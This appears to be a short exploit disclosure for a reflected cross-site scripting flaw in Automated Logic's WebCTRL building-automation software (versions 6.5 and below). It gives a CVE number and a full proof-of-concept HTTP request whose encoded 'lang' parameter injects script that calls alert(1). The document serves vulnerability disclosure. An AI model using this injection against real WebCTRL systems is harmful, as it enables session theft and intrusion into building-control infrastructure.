XSS vulnerability in Automated Logic's WebCTRL product

Exploit Title: XSS in Automated Logic WebCTRL

CVE: CVE-2020-19762 (RESERVED)

Google Dork: -

Date: 2020-08-25

Exploit Author: İsmail ERKEK

Vendor Homepage: https://www.automatedlogic.com/

Version: 6.5 and below

Tested on: -

Proof of Concept Request

GET /_common/lvl5/failuremessage.jsp?message1=Operator_authentication_failed1&message2=Operator_authentication_failed2&lang=en61302%26%23x22%3b%3balert(1)%2f%2f107 HTTP/1.1

Host: 127.0.0.1

Accept-Encoding: gzip, deflate

Accept: /

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Referer: http://127.0.0.1/?language=en

Cookie: JSESSIONID=15B8DBC7037CBF79B647B8D6F0ABEF0B